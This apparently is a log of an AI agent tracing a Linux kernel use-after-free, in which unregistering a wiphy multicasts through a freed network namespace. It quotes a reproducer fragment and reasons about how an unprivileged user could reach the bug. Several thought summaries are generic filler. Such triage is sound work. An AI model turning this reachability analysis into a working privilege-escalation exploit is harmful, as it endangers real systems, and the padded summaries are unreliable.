net/wireless/nl80211.c=23536=void cfg80211_nan_ulw_update(struct wireless_dev *wdev,
--
net/wireless/nl80211.c-23569-
net/wireless/nl80211.c:23570: genlmsg_unicast(wiphy_net(wiphy), msg, wdev->owner_nlportid);
net/wireless/nl80211.c-23571-
--
net/wireless/nl80211.c=23579=void cfg80211_nan_channel_evac(struct wireless_dev *wdev,
--
net/wireless/nl80211.c-23617-
net/wireless/nl80211.c:23618: genlmsg_unicast(wiphy_net(wiphy), msg, wdev->owner_nlportid);
net/wireless/nl80211.c-23619-
--
net/wireless/pmsr.c=552=void cfg80211_pmsr_complete(struct wireless_dev *wdev,
--
net/wireless/pmsr.c-581- genlmsg_end(msg, hdr);
net/wireless/pmsr.c:582: genlmsg_unicast(wiphy_net(wdev->wiphy), msg, req->nl_portid);
net/wireless/pmsr.c-583- goto free_request;
--
net/wireless/pmsr.c=775=void cfg80211_pmsr_report(struct wireless_dev *wdev,
--
net/wireless/pmsr.c-816- genlmsg_end(msg, hdr);
net/wireless/pmsr.c:817: genlmsg_unicast(wiphy_net(wdev->wiphy), msg, req->nl_portid);
net/wireless/pmsr.c-818- return;
--
net/wireless/sysfs.c=163=static const struct ns_common *wiphy_namespace(const struct device *d)
--
net/wireless/sysfs.c-166-
net/wireless/sysfs.c:167: return to_ns_common(wiphy_net(wiphy));
net/wireless/sysfs.c-168-}
--
net/wireless/trace.h=788=TRACE_EVENT(rdev_stop_ap,
--
net/wireless/trace.h-805-
net/wireless/trace.h:806:DECLARE_EVENT_CLASS(wiphy_netdev_evt,
net/wireless/trace.h-807- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev),
--
net/wireless/trace.h-819-
net/wireless/trace.h:820:DEFINE_EVENT(wiphy_netdev_evt, rdev_set_rekey_data,
net/wireless/trace.h-821- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev),
--
net/wireless/trace.h-824-
net/wireless/trace.h:825:DEFINE_EVENT(wiphy_netdev_evt, rdev_get_mesh_config,
net/wireless/trace.h-826- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev),
--
net/wireless/trace.h-829-
net/wireless/trace.h:830:DEFINE_EVENT(wiphy_netdev_evt, rdev_leave_mesh,
net/wireless/trace.h-831- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev),
--
net/wireless/trace.h-834-
net/wireless/trace.h:835:DEFINE_EVENT(wiphy_netdev_evt, rdev_leave_ibss,
net/wireless/trace.h-836- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev),
--
net/wireless/trace.h-839-
net/wireless/trace.h:840:DEFINE_EVENT(wiphy_netdev_evt, rdev_leave_ocb,
net/wireless/trace.h-841- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev),
--
net/wireless/trace.h-844-
net/wireless/trace.h:845:DEFINE_EVENT(wiphy_netdev_evt, rdev_flush_pmksa,
net/wireless/trace.h-846- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev),
--
net/wireless/trace.h=966=DEFINE_EVENT(station_add_change, rdev_change_station,
--
net/wireless/trace.h-971-
net/wireless/trace.h:972:DECLARE_EVENT_CLASS(wiphy_netdev_mac_evt,
net/wireless/trace.h-973- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev, const u8 *mac),
--
net/wireless/trace.h=1039=DEFINE_EVENT(wiphy_wdev_mac_evt, rdev_get_station,
--
net/wireless/trace.h-1043-
net/wireless/trace.h:1044:DEFINE_EVENT(wiphy_netdev_mac_evt, rdev_del_mpath,
net/wireless/trace.h-1045- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev, const u8 *mac),
--
net/wireless/trace.h=1951=TRACE_EVENT(rdev_set_antenna,
--
net/wireless/trace.h-1970-
net/wireless/trace.h:1971:DECLARE_EVENT_CLASS(wiphy_netdev_id_evt,
net/wireless/trace.h-1972- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev, u64 id),
--
net/wireless/trace.h-1987-
net/wireless/trace.h:1988:DEFINE_EVENT(wiphy_netdev_id_evt, rdev_sched_scan_start,
net/wireless/trace.h-1989- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev, u64 id),
--
net/wireless/trace.h-1992-
net/wireless/trace.h:1993:DEFINE_EVENT(wiphy_netdev_id_evt, rdev_sched_scan_stop,
net/wireless/trace.h-1994- TP_PROTO(struct wiphy *wiphy, struct net_device *netdev, u64 id),
]
|
| 84/2 |
2026/08/26 10:03 |
llm |
expert |
0m
Model:
Tokens:
input: 63537
output: 28
thoughts: 559
Thoughts: **My Analysis of a Potential Use-After-Free Vulnerability**
Okay, hold on a second... I see that `wiphy_net` is heavily utilized within `nl80211.c` for sending events. My intuition is that if `wiphy_net` happens to point to a net namespace that has already been freed, and then a cfg80211 event gets generated, it's going to try to call `genlmsg_multicast_netns` or `genlmsg_unicast` with this now invalid net namespace! Bingo, this screams a classic use-after-free scenario involving the `struct net`!
But is `wiphy_net` actually pointing to a freed netns? I need to trace the lifecycle of this `netns` to confirm. Let's see...when `cleanup_net` is executed, it calls `ops_exit_list`. Within `ops_exit_list`, `cfg80211_pernet_exit` gets called. This function attempts to migrate the wiphy to `init_net`. Crucially, if that migration fails, it leaves the wiphy within the dying net namespace. Then, `default_device_exit_batch` proceeds to unregister all the net devices. After this, `cleanup_net` continues and eventually frees the `net` structure itself!
The key here is that the wiphy itself might still be alive and kicking! It's linked to the hwsim radio, which is only destroyed when the user explicitly deletes it, or the module is unloaded. This means the wiphy can still be registered with cfg80211, and that `wiphy_net` still points to the *now freed* `net` structure!
The crucial part is if we can somehow trigger an event on this wiphy; it's going to use the dangling pointer to the freed `net` structure. Hmm... the reproducer code does exactly this:
```c
/* 6. Destroy netns B */
if (write(sv_B[0], "B", 1) != 1) {
printf("[-] Failed to write to sv_B[0]: %s\n", strerror(errno));
exit(1);
}
waitpid(pid_B, NULL, 0);
printf("[+] netns B destroyed.\n");
/* 7. Wait for netns B to be destroyed */
sleep(2);
/* 8. Delete the hwsim radio */
...
req.g.cmd = HWSIM_CMD_DEL_RADIO;
```
It looks like, when `HWSIM_CMD_DEL_RADIO` is called, it actually deletes the radio. Deleting the radio unregisters the wiphy. And when the wiphy is unregistered, that might be what triggers these events. Or, maybe even just the call to `wiphy_free` accesses `wiphy_net`? That's the real potential here. I need to dive into `wiphy_unregister` to be absolutely sure.
|
| 85/2 |
2026/08/26 10:04 |
tool |
grepper |
0m
Args: map[Expression:wiphy_unregister PathPrefix:net/wireless/]
Results: map[Output:net/wireless/core.c=853=int wiphy_register(struct wiphy *wiphy)
--
net/wireless/core.c-1239- rdev->wiphy.rfkill = NULL;
net/wireless/core.c:1240: wiphy_unregister(&rdev->wiphy);
net/wireless/core.c-1241- return res;
--
net/wireless/core.c=1259=void cfg80211_process_wiphy_works(struct cfg80211_registered_device *rdev,
--
net/wireless/core.c-1289-
net/wireless/core.c:1290:void wiphy_unregister(struct wiphy *wiphy)
net/wireless/core.c-1291-{
--
net/wireless/core.c-1356-}
net/wireless/core.c:1357:EXPORT_SYMBOL(wiphy_unregister);
net/wireless/core.c-1358-
]
|
| 86/2 |
2026/08/26 10:04 |
llm |
expert |
0m
Model:
Tokens:
input: 65058
output: 36
thoughts: 10
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Analyzing `wiphy_unregister`**
Okay, let's dive into `wiphy_unregister`. This is a critical function, essentially the inverse of registration, so I need to understand its implications thoroughly. My initial thought process involves a mental checklist: What resources are allocated when a Wi-Fi PHY is registered and how are they de-allocated here? I expect to see the freeing of the `wiphy` structure itself, of course. But what about associated hardware resources? Are we talking about driver-specific data structures, interrupts, DMA mappings, or regulatory domain information? It all depends on the driver, but the core function likely orchestrates the cleanup.
I'm mentally preparing to trace the function's call graph to ensure that any dependent components are handled correctly. I anticipate the need to consider potential race conditions and ensure that concurrent access to the Wi-Fi PHY's resources is properly synchronized during the unregistration process. I'll be looking for spinlocks, mutexes, and any other synchronization primitives employed to prevent data corruption or use-after-free scenarios.
The regulatory aspects are also paramount. Does this function interact with the regulatory domain database or handle any changes related to active channels or power constraints? I must make sure that regulatory information is handled gracefully during the unregistration process to prevent any potential disruptions in other Wi-Fi interfaces. I'll need to check the interactions with the `cfg80211` core and other related subsystem to make sure the removal of the PHY is done safely. Overall, I need to ensure a clean, reliable, and graceful unregistration to prevent any unexpected behavior from other connected subsystems.
|
| 87/2 |
2026/08/26 10:04 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:1290 LineCount:40]
Results: map[Contents:1290: void wiphy_unregister(struct wiphy *wiphy)
1291: {
1292: struct cfg80211_registered_device *rdev = wiphy_to_rdev(wiphy);
1293:
1294: wait_event(rdev->dev_wait, ({
1295: int __count;
1296: wiphy_lock(&rdev->wiphy);
1297: __count = rdev->opencount;
1298: wiphy_unlock(&rdev->wiphy);
1299: __count == 0; }));
1300:
1301: if (rdev->wiphy.rfkill)
1302: rfkill_unregister(rdev->wiphy.rfkill);
1303:
1304: rtnl_lock();
1305: wiphy_lock(&rdev->wiphy);
1306: nl80211_notify_wiphy(rdev, NL80211_CMD_DEL_WIPHY);
1307: rdev->wiphy.registered = false;
1308:
1309: WARN_ON(!list_empty(&rdev->wiphy.wdev_list));
1310:
1311: /*
1312: * First remove the hardware from everywhere, this makes
1313: * it impossible to find from userspace.
1314: */
1315: debugfs_remove_recursive(rdev->wiphy.debugfsdir);
1316: list_del_rcu(&rdev->list);
1317: synchronize_rcu();
1318:
1319: /*
1320: * If this device got a regulatory hint tell core its
1321: * free to listen now to a new shiny device regulatory hint
1322: */
1323: wiphy_regulatory_deregister(wiphy);
1324:
1325: cfg80211_rdev_list_generation++;
1326: device_del(&rdev->wiphy.dev);
1327:
1328: #ifdef CONFIG_PM
1329: if (rdev->wiphy.wowlan_config && rdev->ops->set_wakeup)
]
|
| 88/2 |
2026/08/26 10:04 |
llm |
expert |
0m
Model:
Tokens:
input: 66093
output: 42
thoughts: 59
Thoughts: Okay, here's my interpretation of that code snippet, delivered as if it's my own thought process:
**Diving into wiphy_unregister and its Implications**
Alright, I'm digging into `wiphy_unregister`. The key function call here that catches my eye is `nl80211_notify_wiphy(rdev, NL80211_CMD_DEL_WIPHY)`. This is where the real action is, specifically the notification aspect. Itβs telling me, or more accurately, *the system*, that a Wi-Fi physical device (represented by `rdev`) is being removed. And the specific *notification* is `NL80211_CMD_DEL_WIPHY`, which, as the name implies, is a "delete wiphy" command. Now, I need to understand what that notification does in the broader context of the nl80211 subsystem. Time to drill down into `nl80211_notify_wiphy` and see exactly what it's telling other kernel components and, through them, userspace. What's the impact of this notification? Are there consequences in terms of routing or device management? How does it relate to other kernel subsystems or userspace applications that are interested in changes to the Wi-Fi hardware? The `nl80211_notify_wiphy` function is the gatekeeper here, the place where all that important housekeeping happens. Let's see how it works!
|
| 89/2 |
2026/08/26 10:04 |
tool |
read-file |
0m
Args: map[File:net/wireless/nl80211.c FirstLine:20633 LineCount:20]
Results: map[Contents:20633: void nl80211_notify_wiphy(struct cfg80211_registered_device *rdev,
20634: enum nl80211_commands cmd)
20635: {
20636: struct sk_buff *msg;
20637: struct nl80211_dump_wiphy_state state = {};
20638:
20639: WARN_ON(cmd != NL80211_CMD_NEW_WIPHY &&
20640: cmd != NL80211_CMD_DEL_WIPHY);
20641:
20642: msg = nlmsg_new(NLMSG_DEFAULT_SIZE, GFP_KERNEL);
20643: if (!msg)
20644: return;
20645:
20646: if (nl80211_send_wiphy(rdev, cmd, msg, 0, 0, 0, &state) < 0) {
20647: nlmsg_free(msg);
20648: return;
20649: }
20650:
20651: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
20652: NL80211_MCGRP_CONFIG, GFP_KERNEL);
]
|
| 90/2 |
2026/08/26 10:04 |
llm |
expert |
0m
Model:
Tokens:
input: 66916
output: 38
thoughts: 119
Thoughts: **Use-After-Free Vulnerability Discovered!**
Yes! The code calls `genlmsg_multicast_netns` and, critically, passes it the result of `wiphy_net(&rdev->wiphy)`. But hold on... `wiphy_net(&rdev->wiphy)` returns the *freed* `net` structure! This is a textbook, guaranteed use-after-free of that `struct net`! This is a gold mine for exploitation! Now, the crucial next step is to analyze `genlmsg_multicast_netns` to see if it actually *does* access the freed `net` structure. If so, we've got a definite vulnerability.
|
| 91/2 |
2026/08/26 10:04 |
tool |
grepper |
0m
Args: map[Expression:genlmsg_multicast_netns PathPrefix:include/net/genetlink.h]
Results: map[Output:include/net/genetlink.h=464=static inline void genlmsg_cancel(struct sk_buff *skb, void *hdr)
--
include/net/genetlink.h-470-/**
include/net/genetlink.h:471: * genlmsg_multicast_netns_filtered - multicast a netlink message
include/net/genetlink.h-472- * to a specific netns with filter
--
include/net/genetlink.h=485=static inline int
include/net/genetlink.h:486:genlmsg_multicast_netns_filtered(const struct genl_family *family,
include/net/genetlink.h-487- struct net *net, struct sk_buff *skb,
--
include/net/genetlink.h-501-/**
include/net/genetlink.h:502: * genlmsg_multicast_netns - multicast a netlink message to a specific netns
include/net/genetlink.h-503- * @family: the generic netlink family
--
include/net/genetlink.h-509- */
include/net/genetlink.h:510:static inline int genlmsg_multicast_netns(const struct genl_family *family,
include/net/genetlink.h-511- struct net *net, struct sk_buff *skb,
--
include/net/genetlink.h-513-{
include/net/genetlink.h:514: return genlmsg_multicast_netns_filtered(family, net, skb, portid,
include/net/genetlink.h-515- group, flags, NULL, NULL);
--
include/net/genetlink.h=526=static inline int genlmsg_multicast(const struct genl_family *family,
--
include/net/genetlink.h-529-{
include/net/genetlink.h:530: return genlmsg_multicast_netns(family, &init_net, skb,
include/net/genetlink.h-531- portid, group, flags);
]
|
| 92/2 |
2026/08/26 10:04 |
llm |
expert |
0m
Model:
Tokens:
input: 67792
output: 37
thoughts: 17
Thoughts: Okay, here's my attempt at summarizing that thought process, tailored for an expert audience:
**Diving into `genlmsg_multicast_netns_filtered`**
Alright, time to dig into `genlmsg_multicast_netns_filtered`. That function... it's a critical piece of the puzzle, isn't it? It handles the nuanced aspects of multicast communication within network namespaces, ensuring messages are correctly delivered and filtered based on the namespace context. I need to refresh my memory on the intricacies of its filtering logic. Specifically, I'm thinking about how it interacts with the Generic Netlink subsystem and, more importantly, the underlying multicast groups. What are the key filtering criteria it employs beyond basic group membership? Are there any potential gotchas related to namespace transitions or message propagation across different network contexts? I need to consider potential race conditions. It's crucial to understand its performance characteristics under heavy load as well. Right, let's refresh that code... and see what insights it offers about the current system.
|
| 93/2 |
2026/08/26 10:04 |
tool |
read-file |
0m
Args: map[File:include/net/genetlink.h FirstLine:486 LineCount:20]
Results: map[Contents: 486: genlmsg_multicast_netns_filtered(const struct genl_family *family,
487: struct net *net, struct sk_buff *skb,
488: u32 portid, unsigned int group, gfp_t flags,
489: netlink_filter_fn filter,
490: void *filter_data)
491: {
492: if (WARN_ON_ONCE(group >= family->n_mcgrps)) {
493: nlmsg_free(skb);
494: return -EINVAL;
495: }
496: group = family->mcgrp_offset + group;
497: return nlmsg_multicast_filtered(net->genl_sock, skb, portid, group,
498: flags, filter, filter_data);
499: }
500:
501: /**
502: * genlmsg_multicast_netns - multicast a netlink message to a specific netns
503: * @family: the generic netlink family
504: * @net: the net namespace
505: * @skb: netlink message as socket buffer
]
|
| 94/2 |
2026/08/26 10:04 |
llm |
expert |
0m
Model:
Tokens:
input: 68407
output: 49
thoughts: 242
Thoughts: **My Analysis of a Potential Use-After-Free Vulnerability**
Okay, so I'm looking at this piece of code and immediately I see it's accessing `net->genl_sock`. That's a red flag. My immediate concern is the lifecycle of `net`. If `net` gets freed prematurely, then `net->genl_sock` becomes a dangling pointer, a classic use-after-free read. And then, it's passed into `nlmsg_multicast_filtered`, which, if I understand correctly, will dereference it further. Boom! This confirms a clear use-after-free scenario involving the `struct net` object.
What's really concerning is that this could be triggered by an unprivileged user, assuming user namespaces are enabled. That's a huge attack surface. The reproducer mentioned uses `unshare(CLONE_NEWNET)`. Now, my mind immediately jumps to the permissions. Does `unshare(CLONE_NEWNET)` require `CAP_SYS_ADMIN`? I *think* in a user namespace, the answer is yes, a user could gain `CAP_SYS_ADMIN`, and therefore `CAP_NET_ADMIN`, and create a new netns. This gets interesting.
They then use `NL80211_CMD_SET_WIPHY_NETNS` to move the wiphy into this new netns. But hold on, the critical question: can an *unprivileged* user in a user namespace actually move a wiphy? Thatβs the crux. I need to dive into the permissions for `NL80211_CMD_SET_WIPHY_NETNS` and determine if there's a vulnerability here. Let's dig deeper into those access control checks.
|
| 95/2 |
2026/08/26 10:05 |
tool |
grepper |
0m
Args: map[Expression:NL80211_CMD_SET_WIPHY_NETNS PathPrefix:net/wireless/nl80211.c]
Results: map[Output:net/wireless/nl80211.c=1252=static int nl80211_prepare_wdev_dump(struct netlink_callback *cb,
--
net/wireless/nl80211.c-1307- * may have moved netns between dumpit invocations (via
net/wireless/nl80211.c:1308: * NL80211_CMD_SET_WIPHY_NETNS), so re-check here.
net/wireless/nl80211.c-1309- */
--
net/wireless/nl80211.c=2401=static int nl80211_add_commands_unsplit(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-2434- i++;
net/wireless/nl80211.c:2435: if (nla_put_u32(msg, i, NL80211_CMD_SET_WIPHY_NETNS))
net/wireless/nl80211.c-2436- goto nla_put_failure;
--
net/wireless/nl80211.c=13883=static int nl80211_testmode_dump(struct sk_buff *skb,
--
net/wireless/nl80211.c-13909- * The wiphy may have moved netns between dumpit
net/wireless/nl80211.c:13910: * invocations (via NL80211_CMD_SET_WIPHY_NETNS), so
net/wireless/nl80211.c-13911- * re-check that it still matches the caller's netns.
--
net/wireless/nl80211.c=17954=static int nl80211_prepare_vendor_dump(struct sk_buff *skb,
--
net/wireless/nl80211.c-17976- * The wiphy may have moved netns between dumpit
net/wireless/nl80211.c:17977: * invocations (via NL80211_CMD_SET_WIPHY_NETNS), so
net/wireless/nl80211.c-17978- * re-check that it still matches the caller's netns.
--
net/wireless/nl80211.c=19733=static const struct genl_small_ops nl80211_small_ops[] = {
--
net/wireless/nl80211.c-20051- {
net/wireless/nl80211.c:20052: .cmd = NL80211_CMD_SET_WIPHY_NETNS,
net/wireless/nl80211.c-20053- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
]
|
| 96/2 |
2026/08/26 10:05 |
llm |
expert |
0m
Model:
Tokens:
input: 69866
output: 42
thoughts: 26
Thoughts: Here's my take on those thoughts:
**Checking the NL80211_CMD_SET_WIPHY_NETNS Flag**
Alright, so I need to zero in on this `NL80211_CMD_SET_WIPHY_NETNS` flag. Time to make sure I'm fully up to speed on this particular command and its implications. What are the relevant details? I know the command itself is part of the broader nl80211 framework, which means it deals with wireless configuration and control at a low level. But this *specific* command, I need to revisit its purpose - It pertains to network namespaces, clearly, but how exactly does it interact with the Wi-Fi physical interface and the namespace? Am I thinking about this right?
Is this about assigning a wireless interface to a specific network namespace, or setting something else? I need to clarify the interaction between the wireless device, the nl80211 command, and how this relates to network namespaces within the Linux kernel. A quick scan of relevant documentation will be very useful at this stage. I need to refresh my knowledge of the exact context of this command to continue effectively.
|
| 97/2 |
2026/08/26 10:05 |
tool |
read-file |
0m
Args: map[File:net/wireless/nl80211.c FirstLine:20050 LineCount:10]
Results: map[Contents:20050: },
20051: {
20052: .cmd = NL80211_CMD_SET_WIPHY_NETNS,
20053: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
20054: .doit = nl80211_wiphy_netns,
20055: .flags = GENL_UNS_ADMIN_PERM,
20056: .internal_flags = IFLAGS(NL80211_FLAG_NEED_WIPHY |
20057: NL80211_FLAG_NEED_RTNL |
20058: NL80211_FLAG_NO_WIPHY_MTX),
20059: },
]
|
| 98/2 |
2026/08/26 10:05 |
llm |
expert |
0m
Model:
Tokens:
input: 70412
output: 46
thoughts: 104
Thoughts: **Analyzing the Potential Vulnerability**
Okay, so I'm looking at this and immediately see the `GENL_UNS_ADMIN_PERM` requirement. That's the red flag. What that boils down to is needing `CAP_NET_ADMIN` within a user namespace. Right, and since an unprivileged user can *absolutely* create their own user namespace, the implications are immediately apparent. If someone can spin up a namespace, grab `CAP_NET_ADMIN` in that confined environment, then they could potentially leverage `NL80211_CMD_SET_WIPHY_NETNS`. This could lead to some nasty network manipulation. But, is it that simple?
Hold on... I need to consider a possible mitigating factor... can an unprivileged user even create a hwsim radio? That's the critical question here. If they can't create one, it mitigates my concerns. Let's dig into the permissions required for `HWSIM_CMD_NEW_RADIO`. I need to verify whether the hwsim piece is a necessary condition for a serious problem or not. Time to verify those permissions.
|
| 99/2 |
2026/08/26 10:05 |
tool |
grepper |
0m
Error:
Args: map[Expression:HWSIM_CMD_NEW_RADIO PathPrefix:drivers/net/wireless/mac80211_hwsim.c]
Results:
|
| 100/2 |
2026/08/26 10:05 |
llm |
expert |
0m
Model:
Tokens:
input: 70816
output: 53
thoughts: 0
|
| 101/2 |
2026/08/26 10:05 |
tool |
grepper |
0m
Error:
Args: map[Expression:MAC80211_HWSIM_CMD_NEW_RADIO PathPrefix:drivers/net/wireless/mac80211_hwsim.c]
Results:
|
| 102/2 |
2026/08/26 10:05 |
llm |
expert |
0m
Model:
Tokens:
input: 70883
output: 42
thoughts: 20
Thoughts: Here's a summary of my thought process:
**Decoding the `mac80211_hwsim` Command**
Okay, so I'm diving into this `mac80211_hwsim` stuff, and my brain just hit a snag. What exactly *is* the command name I'm looking for within that context? I've been working with this for long enough that I feel like I'm missing something fundamental. Gotta get back to basics. I need to figure out what the kernel module calls its primary commands. Let me think about where I've seen it defined... maybe in the initialization, or within one of the key data structures? Right, that's what I am going to investigate.
|
| 103/2 |
2026/08/26 10:05 |
tool |
grepper |
0m
Error:
Args: map[Expression:CMD_NEW_RADIO PathPrefix:drivers/net/wireless/mac80211_hwsim.c]
Results:
|
| 104/2 |
2026/08/26 10:05 |
llm |
expert |
0m
Model:
Tokens:
input: 71114
output: 41
thoughts: 44
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**Investigating genl_ops in mac80211_hwsim**
Alright, I need to understand how the `genl_ops` are handled within `mac80211_hwsim`. Given the nature of this simulated hardware module, it's highly likely that the generic netlink interface (`genl`) plays a crucial role in controlling or configuring it. Therefore, my initial instinct is to dive directly into the relevant header and source files. Specifically, I should start by looking at `drivers/net/wireless/mac80211_hwsim.h` to see if the interface is defined within the headers, or `mac80211_hwsim.c` for how the ops are implemented. These files should contain the pertinent declarations and registrations, providing insight into the structure definitions and function pointers that define the `genl` interactions. That's the logical starting point for understanding how the simulation environment exposes its control plane. This is where I'll find my answers.
|
| 105/2 |
2026/08/26 10:05 |
tool |
grepper |
0m
Error:
Args: map[Expression:genl_ops PathPrefix:drivers/net/wireless/mac80211_hwsim.c]
Results:
|
| 106/2 |
2026/08/26 10:05 |
llm |
expert |
0m
Model:
Tokens:
input: 71448
output: 24
thoughts: 67
Thoughts: Here's my take on the situation:
**Investigating the `mac80211_hwsim.c` File**
Alright, let me just double-check that path. I think I remember seeing `drivers/net/wireless/mac80211_hwsim.c` recently, but I'm having a brief moment of doubt. Hold on, let me quickly verify that it's the correct path. I'm going to quickly check the filesystem to confirm the existence of `mac80211_hwsim.c` inside the `drivers/net/wireless/` directory, just to be absolutely certain. There's no point in chasing ghosts, so let's start with a listing. Let's see what's actually in there.
|
| 107/2 |
2026/08/26 10:05 |
tool |
codesearch-dir-index |
0m
Args: map[Dir:drivers/net/wireless/]
Results: map[Files:<nil> Subdirs:[admtek ath atmel broadcom intel intersil marvell mediatek microchip morsemicro nxp purelifi quantenna ralink realtek rsi silabs st ti virtual zydas]]
|
| 108/2 |
2026/08/26 10:05 |
llm |
expert |
0m
Model:
Tokens:
input: 71823
output: 48
thoughts: 27
Thoughts: Okay, here's my interpretation of that thought process, assuming I'm a seasoned expert:
**Diving into the Heart of mac80211_hwsim.c**
Ah, *there* it is! I immediately recognize the path β `drivers/net/wireless/virtual/mac80211_hwsim.c`. That file always catches my eye. It's the beating heart of the hardware simulator for the mac80211 stack, and I know it inside and out. Itβs where all the magic happens when we're testing or debugging the wireless network code without needing actual hardware. Knowing that the system is looking at that file tells me we're likely dealing with simulation issues, a driver problem within a simulated environment, or possibly a test case related to the `mac80211_hwsim` module itself. I'm ready to dig in and understand what's going on within that specific context. Letβs get to work!
|
| 109/2 |
2026/08/26 10:05 |
tool |
grepper |
0m
Error:
Args: map[Expression:HWSIM_CMD_NEW_RADIO PathPrefix:drivers/net/wireless/virtual/mac80211_hwsim.c]
Results:
|
| 110/2 |
2026/08/26 10:05 |
llm |
expert |
0m
Model:
Tokens:
input: 72124
output: 29
thoughts: 19
Thoughts: Here's a summary of my thought process:
**Diving into Kernel Code: A Quick Check**
Okay, time to get my hands dirty. I need to understand something related to the handling of a new radio interface. My first instinct is to dig directly into the kernel source. Specifically, I'm going to look for the `HWSIM_CMD_NEW_RADIO` command. This likely indicates where the system is registering or initializing a new radio in the hardware simulation environment. Finding this will be the starting point. I'll be looking for the relevant handler, function calls, and associated data structures. This is where the core logic will reside, and from there, I can begin to trace the flow of execution and understand the overall process. Time to fire up the editor and start navigating the kernel!
|
| 111/2 |
2026/08/26 10:06 |
tool |
grepper |
0m
Args: map[Expression:HWSIM_CMD_NEW_RADIO PathPrefix:]
Results: map[Output:drivers/net/ieee802154/mac802154_hwsim.c=751=static const struct genl_small_ops hwsim_nl_ops[] = {
drivers/net/ieee802154/mac802154_hwsim.c-752- {
drivers/net/ieee802154/mac802154_hwsim.c:753: .cmd = MAC802154_HWSIM_CMD_NEW_RADIO,
drivers/net/ieee802154/mac802154_hwsim.c-754- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
--
drivers/net/ieee802154/mac802154_hwsim.c=814=static void hwsim_mcast_new_radio(struct genl_info *info, struct hwsim_phy *phy)
--
drivers/net/ieee802154/mac802154_hwsim.c-823- data = genlmsg_put(mcast_skb, 0, 0, &hwsim_genl_family, 0,
drivers/net/ieee802154/mac802154_hwsim.c:824: MAC802154_HWSIM_CMD_NEW_RADIO);
drivers/net/ieee802154/mac802154_hwsim.c-825- if (!data)
--
drivers/net/ieee802154/mac802154_hwsim.h-8- * @MAC802154_HWSIM_CMD_SET_RADIO: change radio parameters during runtime
drivers/net/ieee802154/mac802154_hwsim.h:9: * @MAC802154_HWSIM_CMD_NEW_RADIO: create a new radio with the given parameters
drivers/net/ieee802154/mac802154_hwsim.h-10- * returns the radio ID (>= 0) or negative on errors, if successful
--
drivers/net/ieee802154/mac802154_hwsim.h=19=enum {
--
drivers/net/ieee802154/mac802154_hwsim.h-23- MAC802154_HWSIM_CMD_SET_RADIO,
drivers/net/ieee802154/mac802154_hwsim.h:24: MAC802154_HWSIM_CMD_NEW_RADIO,
drivers/net/ieee802154/mac802154_hwsim.h-25- MAC802154_HWSIM_CMD_DEL_RADIO,
--
drivers/net/wireless/virtual/mac80211_hwsim.h=23=enum hwsim_tx_control_flags {
--
drivers/net/wireless/virtual/mac80211_hwsim.h-66- * %HWSIM_ATTR_SIGNAL, %HWSIM_ATTR_COOKIE
drivers/net/wireless/virtual/mac80211_hwsim.h:67: * @HWSIM_CMD_NEW_RADIO: create a new radio with the given parameters,
drivers/net/wireless/virtual/mac80211_hwsim.h-68- * returns the radio ID (>= 0) or negative on errors, if successful
--
drivers/net/wireless/virtual/mac80211_hwsim.h=91=enum hwsim_commands {
--
drivers/net/wireless/virtual/mac80211_hwsim.h-95- HWSIM_CMD_TX_INFO_FRAME,
drivers/net/wireless/virtual/mac80211_hwsim.h:96: HWSIM_CMD_NEW_RADIO,
drivers/net/wireless/virtual/mac80211_hwsim.h-97- HWSIM_CMD_DEL_RADIO,
--
drivers/net/wireless/virtual/mac80211_hwsim.h-107-
drivers/net/wireless/virtual/mac80211_hwsim.h:108:#define HWSIM_CMD_CREATE_RADIO HWSIM_CMD_NEW_RADIO
drivers/net/wireless/virtual/mac80211_hwsim.h-109-#define HWSIM_CMD_DESTROY_RADIO HWSIM_CMD_DEL_RADIO
--
drivers/net/wireless/virtual/mac80211_hwsim.h-128- * @HWSIM_ATTR_COOKIE: sk_buff cookie to identify the frame
drivers/net/wireless/virtual/mac80211_hwsim.h:129: * @HWSIM_ATTR_CHANNELS: u32 attribute used with the %HWSIM_CMD_NEW_RADIO
drivers/net/wireless/virtual/mac80211_hwsim.h-130- * command giving the number of channels supported by the new radio
--
drivers/net/wireless/virtual/mac80211_hwsim.h-137- * @HWSIM_ATTR_SUPPORT_P2P_DEVICE: support P2P Device virtual interface (flag)
drivers/net/wireless/virtual/mac80211_hwsim.h:138: * @HWSIM_ATTR_USE_CHANCTX: used with the %HWSIM_CMD_NEW_RADIO
drivers/net/wireless/virtual/mac80211_hwsim.h-139- * command to force use of channel contexts even when only a
drivers/net/wireless/virtual/mac80211_hwsim.h-140- * single channel is supported
drivers/net/wireless/virtual/mac80211_hwsim.h:141: * @HWSIM_ATTR_DESTROY_RADIO_ON_CLOSE: used with the %HWSIM_CMD_NEW_RADIO
drivers/net/wireless/virtual/mac80211_hwsim.h-142- * command to force radio removal when process that created the radio dies
--
drivers/net/wireless/virtual/mac80211_hwsim.h-153- * the new radio
drivers/net/wireless/virtual/mac80211_hwsim.h:154: * @HWSIM_ATTR_PMSR_SUPPORT: nested attribute used with %HWSIM_CMD_NEW_RADIO
drivers/net/wireless/virtual/mac80211_hwsim.h-155- * to provide peer measurement capabilities. (nl80211_peer_measurement_attrs)
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c=4491=static void hwsim_mcast_new_radio(int id, struct genl_info *info,
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-4501- data = genlmsg_put(mcast_skb, 0, 0, &hwsim_genl_family, 0,
